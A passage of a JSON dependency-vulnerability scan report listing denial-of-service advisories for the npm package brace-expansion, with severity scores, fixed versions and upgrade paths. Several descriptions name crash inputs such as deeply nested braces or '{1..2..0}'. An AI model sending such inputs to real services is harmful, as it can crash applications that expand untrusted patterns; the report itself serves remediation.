"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in 